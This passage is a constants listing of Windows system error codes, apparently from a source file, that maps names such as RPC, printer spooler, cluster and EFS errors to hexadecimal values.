0x0000070d\nRPC_S_NO_MORE_BINDINGS                                                   = 0x0000070e\nERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT                                  = 0x0000070f\nERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT                                  = 0x00000710\nERROR_NOLOGON_SERVER_TRUST_ACCOUNT                                       = 0x00000711\nERROR_DOMAIN_TRUST_INCONSISTENT                                          = 0x00000712\nERROR_SERVER_HAS_OPEN_HANDLES                                            = 0x00000713\nERROR_RESOURCE_DATA_NOT_FOUND                                            = 0x00000714\nERROR_RESOURCE_TYPE_NOT_FOUND                                            = 0x00000715\nERROR_RESOURCE_NAME_NOT_FOUND                                            = 0x00000716\nERROR_RESOURCE_LANG_NOT_FOUND                                            = 0x00000717\nERROR_NOT_ENOUGH_QUOTA                                                   = 0x00000718\nRPC_S_NO_INTERFACES                                                      = 0x00000719\nRPC_S_CALL_CANCELLED                                                     = 0x0000071a\nRPC_S_BINDING_INCOMPLETE                                                 = 0x0000071b\nRPC_S_COMM_FAILURE                                                       = 0x0000071c\nRPC_S_UNSUPPORTED_AUTHN_LEVEL                                            = 0x0000071d\nRPC_S_NO_PRINC_NAME                                                      = 0x0000071e\nRPC_S_NOT_RPC_ERROR                                                      = 0x0000071f\nRPC_S_UUID_LOCAL_ONLY                                                    = 0x00000720\nRPC_S_SEC_PKG_ERROR                                                      = 0x00000721\nRPC_S_NOT_CANCELLED                                                      = 0x00000722\nRPC_X_INVALID_ES_ACTION                                                  = 0x00000723\nRPC_X_WRONG_ES_VERSION                                                   = 0x00000724\nRPC_X_WRONG_STUB_VERSION                                                 = 0x00000725\nRPC_X_INVALID_PIPE_OBJECT                                                = 0x00000726\nRPC_X_WRONG_PIPE_ORDER                                                   = 0x00000727\nRPC_X_WRONG_PIPE_VERSION                                                 = 0x00000728\nRPC_S_COOKIE_AUTH_FAILED                                                 = 0x00000729\nRPC_S_GROUP_MEMBER_NOT_FOUND                                             = 0x0000076a\nEPT_S_CANT_CREATE                                                        = 0x0000076b\nRPC_S_INVALID_OBJECT                                                     = 0x0000076c\nERROR_INVALID_TIME                                                       = 0x0000076d\nERROR_INVALID_FORM_NAME                                                  = 0x0000076e\nERROR_INVALID_FORM_SIZE                                                  = 0x0000076f\nERROR_ALREADY_WAITING                                                    = 0x00000770\nERROR_PRINTER_DELETED                                                    = 0x00000771\nERROR_INVALID_PRINTER_STATE                                              = 0x00000772\nERROR_PASSWORD_MUST_CHANGE                                               = 0x00000773\nERROR_DOMAIN_CONTROLLER_NOT_FOUND                                        = 0x00000774\nERROR_ACCOUNT_LOCKED_OUT                                                 = 0x00000775\nOR_INVALID_OXID                                                          = 0x00000776\nOR_INVALID_OID                                                           = 0x00000777\nOR_INVALID_SET                                                           = 0x00000778\nRPC_S_SEND_INCOMPLETE                                                    = 0x00000779\nRPC_S_INVALID_ASYNC_HANDLE                                               = 0x0000077a\nRPC_S_INVALID_ASYNC_CALL                                                 = 0x0000077b\nRPC_X_PIPE_CLOSED                                                        = 0x0000077c\nRPC_X_PIPE_DISCIPLINE_ERROR                                              = 0x0000077d\nRPC_X_PIPE_EMPTY                                                         = 0x0000077e\nERROR_NO_SITENAME                                                        = 0x0000077f\nERROR_CANT_ACCESS_FILE                                                   = 0x00000780\nERROR_CANT_RESOLVE_FILENAME                                              = 0x00000781\nRPC_S_ENTRY_TYPE_MISMATCH                                                = 0x00000782\nRPC_S_NOT_ALL_OBJS_EXPORTED                                              = 0x00000783\nRPC_S_INTERFACE_NOT_EXPORTED                                             = 0x00000784\nRPC_S_PROFILE_NOT_ADDED                                                  = 0x00000785\nRPC_S_PRF_ELT_NOT_ADDED                                                  = 0x00000786\nRPC_S_PRF_ELT_NOT_REMOVED                                                = 0x00000787\nRPC_S_GRP_ELT_NOT_ADDED                                                  = 0x00000788\nRPC_S_GRP_ELT_NOT_REMOVED                                                = 0x00000789\nERROR_KM_DRIVER_BLOCKED                                                  = 0x0000078a\nERROR_CONTEXT_EXPIRED                                                    = 0x0000078b\nERROR_PER_USER_TRUST_QUOTA_EXCEEDED                                      = 0x0000078c\nERROR_ALL_USER_TRUST_QUOTA_EXCEEDED                                      = 0x0000078d\nERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED                                   = 0x0000078e\nERROR_AUTHENTICATION_FIREWALL_FAILED                                     = 0x0000078f\nERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED                                   = 0x00000790\nERROR_NTLM_BLOCKED                                                       = 0x00000791\nERROR_PASSWORD_CHANGE_REQUIRED                                           = 0x00000792\nERROR_INVALID_PIXEL_FORMAT                                               = 0x000007d0\nERROR_BAD_DRIVER                                                         = 0x000007d1\nERROR_INVALID_WINDOW_STYLE                                               = 0x000007d2\nERROR_METAFILE_NOT_SUPPORTED                                             = 0x000007d3\nERROR_TRANSFORM_NOT_SUPPORTED                                            = 0x000007d4\nERROR_CLIPPING_NOT_SUPPORTED                                             = 0x000007d5\nERROR_INVALID_CMM                                                        = 0x000007da\nERROR_INVALID_PROFILE                                                    = 0x000007db\nERROR_TAG_NOT_FOUND                                                      = 0x000007dc\nERROR_TAG_NOT_PRESENT                                                    = 0x000007dd\nERROR_DUPLICATE_TAG                                                      = 0x000007de\nERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE                                 = 0x000007df\nERROR_PROFILE_NOT_FOUND                                                  = 0x000007e0\nERROR_INVALID_COLORSPACE                                                 = 0x000007e1\nERROR_ICM_NOT_ENABLED                                                    = 0x000007e2\nERROR_DELETING_ICM_XFORM                                                 = 0x000007e3\nERROR_INVALID_TRANSFORM                                                  = 0x000007e4\nERROR_COLORSPACE_MISMATCH                                                = 0x000007e5\nERROR_INVALID_COLORINDEX                                                 = 0x000007e6\nERROR_PROFILE_DOES_NOT_MATCH_DEVICE                                      = 0x000007e7\nERROR_CONNECTED_OTHER_PASSWORD                                           = 0x0000083c\nERROR_CONNECTED_OTHER_PASSWORD_DEFAULT                                   = 0x0000083d\nERROR_BAD_USERNAME                                                       = 0x0000089a\nERROR_NOT_CONNECTED                                                      = 0x000008ca\nERROR_OPEN_FILES                                                         = 0x00000961\nERROR_ACTIVE_CONNECTIONS                                                 = 0x00000962\nERROR_DEVICE_IN_USE                                                      = 0x00000964\nERROR_UNKNOWN_PRINT_MONITOR                                              = 0x00000bb8\nERROR_PRINTER_DRIVER_IN_USE                                              = 0x00000bb9\nERROR_SPOOL_FILE_NOT_FOUND                                               = 0x00000bba\nERROR_SPL_NO_STARTDOC                                                    = 0x00000bbb\nERROR_SPL_NO_ADDJOB                                                      = 0x00000bbc\nERROR_PRINT_PROCESSOR_ALREADY_INSTALLED                                  = 0x00000bbd\nERROR_PRINT_MONITOR_ALREADY_INSTALLED                                    = 0x00000bbe\nERROR_INVALID_PRINT_MONITOR                                              = 0x00000bbf\nERROR_PRINT_MONITOR_IN_USE                                               = 0x00000bc0\nERROR_PRINTER_HAS_JOBS_QUEUED                                            = 0x00000bc1\nERROR_SUCCESS_REBOOT_REQUIRED                                            = 0x00000bc2\nERROR_SUCCESS_RESTART_REQUIRED                                           = 0x00000bc3\nERROR_PRINTER_NOT_FOUND                                                  = 0x00000bc4\nERROR_PRINTER_DRIVER_WARNED                                              = 0x00000bc5\nERROR_PRINTER_DRIVER_BLOCKED                                             = 0x00000bc6\nERROR_PRINTER_DRIVER_PACKAGE_IN_USE                                      = 0x00000bc7\nERROR_CORE_DRIVER_PACKAGE_NOT_FOUND                                      = 0x00000bc8\nERROR_FAIL_REBOOT_REQUIRED                                               = 0x00000bc9\nERROR_FAIL_REBOOT_INITIATED                                              = 0x00000bca\nERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED                                     = 0x00000bcb\nERROR_PRINT_JOB_RESTART_REQUIRED                                         = 0x00000bcc\nERROR_INVALID_PRINTER_DRIVER_MANIFEST                                    = 0x00000bcd\nERROR_PRINTER_NOT_SHAREABLE                                              = 0x00000bce\nERROR_REQUEST_PAUSED                                                     = 0x00000bea\nERROR_IO_REISSUE_AS_CACHED                                               = 0x00000f6e\nERROR_WINS_INTERNAL                                                      = 0x00000fa0\nERROR_CAN_NOT_DEL_LOCAL_WINS                                             = 0x00000fa1\nERROR_STATIC_INIT                                                        = 0x00000fa2\nERROR_INC_BACKUP                                                         = 0x00000fa3\nERROR_FULL_BACKUP                                                        = 0x00000fa4\nERROR_REC_NON_EXISTENT                                                   = 0x00000fa5\nERROR_RPL_NOT_ALLOWED                                                    = 0x00000fa6\nPEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED                           = 0x00000fd2\nPEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO                                  = 0x00000fd3\nPEERDIST_ERROR_MISSING_DATA                                              = 0x00000fd4\nPEERDIST_ERROR_NO_MORE                                                   = 0x00000fd5\nPEERDIST_ERROR_NOT_INITIALIZED                                           = 0x00000fd6\nPEERDIST_ERROR_ALREADY_INITIALIZED                                       = 0x00000fd7\nPEERDIST_ERROR_SHUTDOWN_IN_PROGRESS                                      = 0x00000fd8\nPEERDIST_ERROR_INVALIDATED                                               = 0x00000fd9\nPEERDIST_ERROR_ALREADY_EXISTS                                            = 0x00000fda\nPEERDIST_ERROR_OPERATION_NOTFOUND                                        = 0x00000fdb\nPEERDIST_ERROR_ALREADY_COMPLETED                                         = 0x00000fdc\nPEERDIST_ERROR_OUT_OF_BOUNDS                                             = 0x00000fdd\nPEERDIST_ERROR_VERSION_UNSUPPORTED                                       = 0x00000fde\nPEERDIST_ERROR_INVALID_CONFIGURATION                                     = 0x00000fdf\nPEERDIST_ERROR_NOT_LICENSED                                              = 0x00000fe0\nPEERDIST_ERROR_SERVICE_UNAVAILABLE                                       = 0x00000fe1\nPEERDIST_ERROR_TRUST_FAILURE                                             = 0x00000fe2\nERROR_DHCP_ADDRESS_CONFLICT                                              = 0x00001004\nERROR_WMI_GUID_NOT_FOUND                                                 = 0x00001068\nERROR_WMI_INSTANCE_NOT_FOUND                                             = 0x00001069\nERROR_WMI_ITEMID_NOT_FOUND                                               = 0x0000106a\nERROR_WMI_TRY_AGAIN                                                      = 0x0000106b\nERROR_WMI_DP_NOT_FOUND                                                   = 0x0000106c\nERROR_WMI_UNRESOLVED_INSTANCE_REF                                        = 0x0000106d\nERROR_WMI_ALREADY_ENABLED                                                = 0x0000106e\nERROR_WMI_GUID_DISCONNECTED                                              = 0x0000106f\nERROR_WMI_SERVER_UNAVAILABLE                                             = 0x00001070\nERROR_WMI_DP_FAILED                                                      = 0x00001071\nERROR_WMI_INVALID_MOF                                                    = 0x00001072\nERROR_WMI_INVALID_REGINFO                                                = 0x00001073\nERROR_WMI_ALREADY_DISABLED                                               = 0x00001074\nERROR_WMI_READ_ONLY                                                      = 0x00001075\nERROR_WMI_SET_FAILURE                                                    = 0x00001076\nERROR_NOT_APPCONTAINER                                                   = 0x0000109a\nERROR_APPCONTAINER_REQUIRED                                              = 0x0000109b\nERROR_NOT_SUPPORTED_IN_APPCONTAINER                                      = 0x0000109c\nERROR_INVALID_PACKAGE_SID_LENGTH                                         = 0x0000109d\nERROR_INVALID_MEDIA                                                      = 0x000010cc\nERROR_INVALID_LIBRARY                                                    = 0x000010cd\nERROR_INVALID_MEDIA_POOL                                                 = 0x000010ce\nERROR_DRIVE_MEDIA_MISMATCH                                               = 0x000010cf\nERROR_MEDIA_OFFLINE                                                      = 0x000010d0\nERROR_LIBRARY_OFFLINE                                                    = 0x000010d1\nERROR_EMPTY                                                              = 0x000010d2\nERROR_NOT_EMPTY                                                          = 0x000010d3\nERROR_MEDIA_UNAVAILABLE                                                  = 0x000010d4\nERROR_RESOURCE_DISABLED                                                  = 0x000010d5\nERROR_INVALID_CLEANER                                                    = 0x000010d6\nERROR_UNABLE_TO_CLEAN                                                    = 0x000010d7\nERROR_OBJECT_NOT_FOUND                                                   = 0x000010d8\nERROR_DATABASE_FAILURE                                                   = 0x000010d9\nERROR_DATABASE_FULL                                                      = 0x000010da\nERROR_MEDIA_INCOMPATIBLE                                                 = 0x000010db\nERROR_RESOURCE_NOT_PRESENT                                               = 0x000010dc\nERROR_INVALID_OPERATION                                                  = 0x000010dd\nERROR_MEDIA_NOT_AVAILABLE                                                = 0x000010de\nERROR_DEVICE_NOT_AVAILABLE                                               = 0x000010df\nERROR_REQUEST_REFUSED                                                    = 0x000010e0\nERROR_INVALID_DRIVE_OBJECT                                               = 0x000010e1\nERROR_LIBRARY_FULL                                                       = 0x000010e2\nERROR_MEDIUM_NOT_ACCESSIBLE                                              = 0x000010e3\nERROR_UNABLE_TO_LOAD_MEDIUM                                              = 0x000010e4\nERROR_UNABLE_TO_INVENTORY_DRIVE                                          = 0x000010e5\nERROR_UNABLE_TO_INVENTORY_SLOT                                           = 0x000010e6\nERROR_UNABLE_TO_INVENTORY_TRANSPORT                                      = 0x000010e7\nERROR_TRANSPORT_FULL                                                     = 0x000010e8\nERROR_CONTROLLING_IEPORT                                                 = 0x000010e9\nERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA                                      = 0x000010ea\nERROR_CLEANER_SLOT_SET                                                   = 0x000010eb\nERROR_CLEANER_SLOT_NOT_SET                                               = 0x000010ec\nERROR_CLEANER_CARTRIDGE_SPENT                                            = 0x000010ed\nERROR_UNEXPECTED_OMID                                                    = 0x000010ee\nERROR_CANT_DELETE_LAST_ITEM                                              = 0x000010ef\nERROR_MESSAGE_EXCEEDS_MAX_SIZE                                           = 0x000010f0\nERROR_VOLUME_CONTAINS_SYS_FILES                                          = 0x000010f1\nERROR_INDIGENOUS_TYPE                                                    = 0x000010f2\nERROR_NO_SUPPORTING_DRIVES                                               = 0x000010f3\nERROR_CLEANER_CARTRIDGE_INSTALLED                                        = 0x000010f4\nERROR_IEPORT_FULL                                                        = 0x000010f5\nERROR_FILE_OFFLINE                                                       = 0x000010fe\nERROR_REMOTE_STORAGE_NOT_ACTIVE                                          = 0x000010ff\nERROR_REMOTE_STORAGE_MEDIA_ERROR                                         = 0x00001100\nERROR_NOT_A_REPARSE_POINT                                                = 0x00001126\nERROR_REPARSE_ATTRIBUTE_CONFLICT                                         = 0x00001127\nERROR_INVALID_REPARSE_DATA                                               = 0x00001128\nERROR_REPARSE_TAG_INVALID                                                = 0x00001129\nERROR_REPARSE_TAG_MISMATCH                                               = 0x0000112a\nERROR_APP_DATA_NOT_FOUND                                                 = 0x00001130\nERROR_APP_DATA_EXPIRED                                                   = 0x00001131\nERROR_APP_DATA_CORRUPT                                                   = 0x00001132\nERROR_APP_DATA_LIMIT_EXCEEDED                                            = 0x00001133\nERROR_APP_DATA_REBOOT_REQUIRED                                           = 0x00001134\nERROR_SECUREBOOT_ROLLBACK_DETECTED                                       = 0x00001144\nERROR_SECUREBOOT_POLICY_VIOLATION                                        = 0x00001145\nERROR_SECUREBOOT_INVALID_POLICY                                          = 0x00001146\nERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND                              = 0x00001147\nERROR_SECUREBOOT_POLICY_NOT_SIGNED                                       = 0x00001148\nERROR_SECUREBOOT_NOT_ENABLED                                             = 0x00001149\nERROR_SECUREBOOT_FILE_REPLACED                                           = 0x0000114a\nERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED                                     = 0x00001158\nERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED                                    = 0x00001159\nERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED                                    = 0x0000115a\nERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED                                   = 0x0000115b\nERROR_VOLUME_NOT_SIS_ENABLED                                             = 0x00001194\nERROR_DEPENDENT_RESOURCE_EXISTS                                          = 0x00001389\nERROR_DEPENDENCY_NOT_FOUND                                               = 0x0000138a\nERROR_DEPENDENCY_ALREADY_EXISTS                                          = 0x0000138b\nERROR_RESOURCE_NOT_ONLINE                                                = 0x0000138c\nERROR_HOST_NODE_NOT_AVAILABLE                                            = 0x0000138d\nERROR_RESOURCE_NOT_AVAILABLE                                             = 0x0000138e\nERROR_RESOURCE_NOT_FOUND                                                 = 0x0000138f\nERROR_SHUTDOWN_CLUSTER                                                   = 0x00001390\nERROR_CANT_EVICT_ACTIVE_NODE                                             = 0x00001391\nERROR_OBJECT_ALREADY_EXISTS                                              = 0x00001392\nERROR_OBJECT_IN_LIST                                                     = 0x00001393\nERROR_GROUP_NOT_AVAILABLE                                                = 0x00001394\nERROR_GROUP_NOT_FOUND                                                    = 0x00001395\nERROR_GROUP_NOT_ONLINE                                                   = 0x00001396\nERROR_HOST_NODE_NOT_RESOURCE_OWNER                                       = 0x00001397\nERROR_HOST_NODE_NOT_GROUP_OWNER                                          = 0x00001398\nERROR_RESMON_CREATE_FAILED                                               = 0x00001399\nERROR_RESMON_ONLINE_FAILED                                               = 0x0000139a\nERROR_RESOURCE_ONLINE                                                    = 0x0000139b\nERROR_QUORUM_RESOURCE                                                    = 0x0000139c\nERROR_NOT_QUORUM_CAPABLE                                                 = 0x0000139d\nERROR_CLUSTER_SHUTTING_DOWN                                              = 0x0000139e\nERROR_INVALID_STATE                                                      = 0x0000139f\nERROR_RESOURCE_PROPERTIES_STORED                                         = 0x000013a0\nERROR_NOT_QUORUM_CLASS                                                   = 0x000013a1\nERROR_CORE_RESOURCE                                                      = 0x000013a2\nERROR_QUORUM_RESOURCE_ONLINE_FAILED                                      = 0x000013a3\nERROR_QUORUMLOG_OPEN_FAILED                                              = 0x000013a4\nERROR_CLUSTERLOG_CORRUPT                                                 = 0x000013a5\nERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE                                  = 0x000013a6\nERROR_CLUSTERLOG_EXCEEDS_MAXSIZE                                         = 0x000013a7\nERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND                                      = 0x000013a8\nERROR_CLUSTERLOG_NOT_ENOUGH_SPACE                                        = 0x000013a9\nERROR_QUORUM_OWNER_ALIVE                                                 = 0x000013aa\nERROR_NETWORK_NOT_AVAILABLE                                              = 0x000013ab\nERROR_NODE_NOT_AVAILABLE                                                 = 0x000013ac\nERROR_ALL_NODES_NOT_AVAILABLE                                            = 0x000013ad\nERROR_RESOURCE_FAILED                                                    = 0x000013ae\nERROR_CLUSTER_INVALID_NODE                                               = 0x000013af\nERROR_CLUSTER_NODE_EXISTS                                                = 0x000013b0\nERROR_CLUSTER_JOIN_IN_PROGRESS                                           = 0x000013b1\nERROR_CLUSTER_NODE_NOT_FOUND                                             = 0x000013b2\nERROR_CLUSTER_LOCAL_NODE_NOT_FOUND                                       = 0x000013b3\nERROR_CLUSTER_NETWORK_EXISTS                                             = 0x000013b4\nERROR_CLUSTER_NETWORK_NOT_FOUND                                          = 0x000013b5\nERROR_CLUSTER_NETINTERFACE_EXISTS                                        = 0x000013b6\nERROR_CLUSTER_NETINTERFACE_NOT_FOUND                                     = 0x000013b7\nERROR_CLUSTER_INVALID_REQUEST                                            = 0x000013b8\nERROR_CLUSTER_INVALID_NETWORK_PROVIDER                                   = 0x000013b9\nERROR_CLUSTER_NODE_DOWN                                                  = 0x000013ba\nERROR_CLUSTER_NODE_UNREACHABLE                                           = 0x000013bb\nERROR_CLUSTER_NODE_NOT_MEMBER                                            = 0x000013bc\nERROR_CLUSTER_JOIN_NOT_IN_PROGRESS                                       = 0x000013bd\nERROR_CLUSTER_INVALID_NETWORK                                            = 0x000013be\nERROR_CLUSTER_NODE_UP                                                    = 0x000013c0\nERROR_CLUSTER_IPADDR_IN_USE                                              = 0x000013c1\nERROR_CLUSTER_NODE_NOT_PAUSED                                            = 0x000013c2\nERROR_CLUSTER_NO_SECURITY_CONTEXT                                        = 0x000013c3\nERROR_CLUSTER_NETWORK_NOT_INTERNAL                                       = 0x000013c4\nERROR_CLUSTER_NODE_ALREADY_UP                                            = 0x000013c5\nERROR_CLUSTER_NODE_ALREADY_DOWN                                          = 0x000013c6\nERROR_CLUSTER_NETWORK_ALREADY_ONLINE                                     = 0x000013c7\nERROR_CLUSTER_NETWORK_ALREADY_OFFLINE                                    = 0x000013c8\nERROR_CLUSTER_NODE_ALREADY_MEMBER                                        = 0x000013c9\nERROR_CLUSTER_LAST_INTERNAL_NETWORK                                      = 0x000013ca\nERROR_CLUSTER_NETWORK_HAS_DEPENDENTS                                     = 0x000013cb\nERROR_INVALID_OPERATION_ON_QUORUM                                        = 0x000013cc\nERROR_DEPENDENCY_NOT_ALLOWED                                             = 0x000013cd\nERROR_CLUSTER_NODE_PAUSED                                                = 0x000013ce\nERROR_NODE_CANT_HOST_RESOURCE                                            = 0x000013cf\nERROR_CLUSTER_NODE_NOT_READY                                             = 0x000013d0\nERROR_CLUSTER_NODE_SHUTTING_DOWN                                         = 0x000013d1\nERROR_CLUSTER_JOIN_ABORTED                                               = 0x000013d2\nERROR_CLUSTER_INCOMPATIBLE_VERSIONS                                      = 0x000013d3\nERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED                               = 0x000013d4\nERROR_CLUSTER_SYSTEM_CONFIG_CHANGED                                      = 0x000013d5\nERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND                                    = 0x000013d6\nERROR_CLUSTER_RESTYPE_NOT_SUPPORTED                                      = 0x000013d7\nERROR_CLUSTER_RESNAME_NOT_FOUND                                          = 0x000013d8\nERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED                                 = 0x000013d9\nERROR_CLUSTER_OWNER_NOT_IN_PREFLIST                                      = 0x000013da\nERROR_CLUSTER_DATABASE_SEQMISMATCH                                       = 0x000013db\nERROR_RESMON_INVALID_STATE                                               = 0x000013dc\nERROR_CLUSTER_GUM_NOT_LOCKER                                             = 0x000013dd\nERROR_QUORUM_DISK_NOT_FOUND                                              = 0x000013de\nERROR_DATABASE_BACKUP_CORRUPT                                            = 0x000013df\nERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT                                  = 0x000013e0\nERROR_RESOURCE_PROPERTY_UNCHANGEABLE                                     = 0x000013e1\nERROR_CLUSTER_MEMBERSHIP_INVALID_STATE                                   = 0x00001702\nERROR_CLUSTER_QUORUMLOG_NOT_FOUND                                        = 0x00001703\nERROR_CLUSTER_MEMBERSHIP_HALT                                            = 0x00001704\nERROR_CLUSTER_INSTANCE_ID_MISMATCH                                       = 0x00001705\nERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP                                   = 0x00001706\nERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH                                = 0x00001707\nERROR_CLUSTER_EVICT_WITHOUT_CLEANUP                                      = 0x00001708\nERROR_CLUSTER_PARAMETER_MISMATCH                                         = 0x00001709\nERROR_NODE_CANNOT_BE_CLUSTERED                                           = 0x0000170a\nERROR_CLUSTER_WRONG_OS_VERSION                                           = 0x0000170b\nERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME                               = 0x0000170c\nERROR_CLUSCFG_ALREADY_COMMITTED                                          = 0x0000170d\nERROR_CLUSCFG_ROLLBACK_FAILED                                            = 0x0000170e\nERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT                          = 0x0000170f\nERROR_CLUSTER_OLD_VERSION                                                = 0x00001710\nERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME                              = 0x00001711\nERROR_CLUSTER_NO_NET_ADAPTERS                                            = 0x00001712\nERROR_CLUSTER_POISONED                                                   = 0x00001713\nERROR_CLUSTER_GROUP_MOVING                                               = 0x00001714\nERROR_CLUSTER_RESOURCE_TYPE_BUSY                                         = 0x00001715\nERROR_RESOURCE_CALL_TIMED_OUT                                            = 0x00001716\nERROR_INVALID_CLUSTER_IPV6_ADDRESS                                       = 0x00001717\nERROR_CLUSTER_INTERNAL_INVALID_FUNCTION                                  = 0x00001718\nERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS                                    = 0x00001719\nERROR_CLUSTER_PARTIAL_SEND                                               = 0x0000171a\nERROR_CLUSTER_REGISTRY_INVALID_FUNCTION                                  = 0x0000171b\nERROR_CLUSTER_INVALID_STRING_TERMINATION                                 = 0x0000171c\nERROR_CLUSTER_INVALID_STRING_FORMAT                                      = 0x0000171d\nERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS                           = 0x0000171e\nERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS                       = 0x0000171f\nERROR_CLUSTER_NULL_DATA                                                  = 0x00001720\nERROR_CLUSTER_PARTIAL_READ                                               = 0x00001721\nERROR_CLUSTER_PARTIAL_WRITE                                              = 0x00001722\nERROR_CLUSTER_CANT_DESERIALIZE_DATA                                      = 0x00001723\nERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT                               = 0x00001724\nERROR_CLUSTER_NO_QUORUM                                                  = 0x00001725\nERROR_CLUSTER_INVALID_IPV6_NETWORK                                       = 0x00001726\nERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK                                = 0x00001727\nERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP                                   = 0x00001728\nERROR_DEPENDENCY_TREE_TOO_COMPLEX                                        = 0x00001729\nERROR_EXCEPTION_IN_RESOURCE_CALL                                         = 0x0000172a\nERROR_CLUSTER_RHS_FAILED_INITIALIZATION                                  = 0x0000172b\nERROR_CLUSTER_NOT_INSTALLED                                              = 0x0000172c\nERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE                  = 0x0000172d\nERROR_CLUSTER_MAX_NODES_IN_CLUSTER                                       = 0x0000172e\nERROR_CLUSTER_TOO_MANY_NODES                                             = 0x0000172f\nERROR_CLUSTER_OBJECT_ALREADY_USED                                        = 0x00001730\nERROR_NONCORE_GROUPS_FOUND                                               = 0x00001731\nERROR_FILE_SHARE_RESOURCE_CONFLICT                                       = 0x00001732\nERROR_CLUSTER_EVICT_INVALID_REQUEST                                      = 0x00001733\nERROR_CLUSTER_SINGLETON_RESOURCE                                         = 0x00001734\nERROR_CLUSTER_GROUP_SINGLETON_RESOURCE                                   = 0x00001735\nERROR_CLUSTER_RESOURCE_PROVIDER_FAILED                                   = 0x00001736\nERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR                               = 0x00001737\nERROR_CLUSTER_GROUP_BUSY                                                 = 0x00001738\nERROR_CLUSTER_NOT_SHARED_VOLUME                                          = 0x00001739\nERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR                                = 0x0000173a\nERROR_CLUSTER_SHARED_VOLUMES_IN_USE                                      = 0x0000173b\nERROR_CLUSTER_USE_SHARED_VOLUMES_API                                     = 0x0000173c\nERROR_CLUSTER_BACKUP_IN_PROGRESS                                         = 0x0000173d\nERROR_NON_CSV_PATH                                                       = 0x0000173e\nERROR_CSV_VOLUME_NOT_LOCAL                                               = 0x0000173f\nERROR_CLUSTER_WATCHDOG_TERMINATING                                       = 0x00001740\nERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES                    = 0x00001741\nERROR_CLUSTER_INVALID_NODE_WEIGHT                                        = 0x00001742\nERROR_CLUSTER_RESOURCE_VETOED_CALL                                       = 0x00001743\nERROR_RESMON_SYSTEM_RESOURCES_LACKING                                    = 0x00001744\nERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION   = 0x00001745\nERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE        = 0x00001746\nERROR_CLUSTER_GROUP_QUEUED                                               = 0x00001747\nERROR_CLUSTER_RESOURCE_LOCKED_STATUS                                     = 0x00001748\nERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED                         = 0x00001749\nERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS                                     = 0x0000174a\nERROR_CLUSTER_DISK_NOT_CONNECTED                                         = 0x0000174b\nERROR_DISK_NOT_CSV_CAPABLE                                               = 0x0000174c\nERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE                                  = 0x0000174d\nERROR_CLUSTER_SHARED_VOLUME_REDIRECTED                                   = 0x0000174e\nERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED                               = 0x0000174f\nERROR_CLUSTER_CANNOT_RETURN_PROPERTIES                                   = 0x00001750\nERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES = 0x00001751\nERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE                            = 0x00001752\nERROR_CLUSTER_AFFINITY_CONFLICT                                          = 0x00001753\nERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE                        = 0x00001754\nERROR_ENCRYPTION_FAILED                                                  = 0x00001770\nERROR_DECRYPTION_FAILED                                                  = 0x00001771\nERROR_FILE_ENCRYPTED                                                     = 0x00001772\nERROR_NO_RECOVERY_POLICY                                                 = 0x00001773\nERROR_NO_EFS                                                             = 0x00001774\nERROR_WRONG_EFS                                                          = 0x00001775\nERROR_NO_USER_KEYS                                                       = 0x00001776\nERROR_FILE_NOT_ENCRYPTED                                                 = 0x00001777\nERROR_NOT_EXPORT_FORMAT                                                  = 0x00001778\nERROR_FILE_READ_ONLY                                                     = 0x00001779\nERROR_DIR_EFS_DISALLOWED                                                 = 0x0000177a\nERROR_EFS_SERVER_NOT_TRUSTED                                             = 0x0000177b\nERROR_BAD_RECOVERY_POLICY                                                = 0x0000177c\nERROR_EFS_ALG_BLOB_TOO_BIG                                               = 0x0000177d\nERROR_VOLUME_NOT_SUPPORT_EFS                                             = 0x0000177e\nERROR_EFS_DISABLED                                                       = 0x0000177f\nERROR_EFS_VERSION_NOT_SUPPORT                                            = 0x00001780\nERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE                              = 0x00001781\nERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER                                   = 